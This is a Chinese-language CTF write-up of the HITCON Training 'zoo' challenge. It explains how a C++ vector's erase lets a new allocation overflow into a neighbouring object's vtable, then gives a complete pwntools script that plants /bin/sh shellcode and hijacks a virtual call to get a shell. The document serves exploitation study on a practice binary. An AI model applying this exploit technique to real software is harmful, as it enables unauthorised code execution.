HITCON Traing | zoo
C++里这些…比如
std::vector<Animal *, std::allocator<Animal *>>::operator[](&animallist, idx) -> animallist[idx]
std::vector<Animal *, std::allocator<Animal *>>::size(&animallist) -> animallist.size()
新建了俩dog, 我叫他们dog1, dog2
我的环境里是这样子
0x2009c10 SIZE=0x30 DATA[0x2009c20] |........dog1....................| INUSED PREV_INUSE
0x2009c40 SIZE=0x20 DATA[0x2009c50] |........................1.......| INUSED PREV_INUSE
0x2009c60 SIZE=0x30 DATA[0x2009c70] |@1@.....dog2....................| INUSED PREV_INUSE
0x2009c90 SIZE=0x20 DATA[0x2009ca0] |p.......p...............Q.......| INUSED PREV_INUSE
这个0x2009ca0
这里其实vector的内容,也就是animallist[0], animallist[1]的内容
注意….vector可不是在他那个bss那里存着, 那里就只存着三个指针,
animallist.begin() -> 0x2009ca0
animallist.end() -> 0x2009cb0
v.???
看一下我们的内容
gdb-peda$ x/2gx 0x2009ca0
0x2009ca0: 0x0000000001a8ec20 0x0000000001a8ec70
注意一下的在于vector在earse之后, 后面的元素会前移
所以我们在remove(0)之后, 新add_dog得到的是animallist[1]
, 但他的地址是原来remove掉的那块低块地址, 所以可以heap overflow来覆盖高地址的animallist[0]
的原来叫做dog2的那个dog…
对比一下原来0x2009ca0
的内容就OK
gdb-peda$ x/2gx 0x2009ca0
0x2009ca0: 0x0000000001a8ec70 0x0000000001a8ec20
所以, 我overflow的时候, padding是8*9 = 0x48 个字节,
padding + p64(fake_vtable)
这个fake_vatble正好覆盖在了animallist[0]
, (原来高地址的dog2)的vtable上
现在调用animallist[0] -> speak()
就相当于call fake_vtable[0]
也就是我们的nameofzoo放置的shellcode会被当做speak的代码来执行
代码…
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','sh','-c']
p = ''
def gd(a=''):
gdb.attach(p, a)
if a == '':
raw_input()
p = process('./pwn1')
# p = remote("115.159.49.85", 9999)
elf = ELF("./pwn1")
def recvu(s):
return p.recvuntil(s)
def sendl(s):
return p.sendline(s)
def add_dog(name, weight):
recvu('choice :')
sendl('1')
recvu('Name :')
sendl(name)
recvu('Weight :')
sendl(str(weight))
def add_cat(name, weight):
recvu('choice :')
sendl('2')
recvu('Name :')
sendl(name)
recvu('Weight :')
sendl(str(weight))
def remove(idx):
recvu('choice :')
sendl('5')
recvu('animal :')
sendl(str(idx))
def listen(idx):
recvu('choice :')
sendl('3')
recvu('animal :')
sendl(str(idx))
nameofzoo = elf.symbols['nameofzoo']
# name_of_zoo -> shellcode
recvu('zoo :')
sc = asm(shellcraft.linux.sh())
len_sc = len(sc)
sc += p64(nameofzoo)
sendl(sc)
add_dog('dog1',0x1)
add_dog('dog2',0x1)
remove(0)
gd()
# UAF -> overlap vtable
add_dog('padding.' * 9 + p64(nameofzoo + len_sc), 0x1)
listen(0)
p.interactive()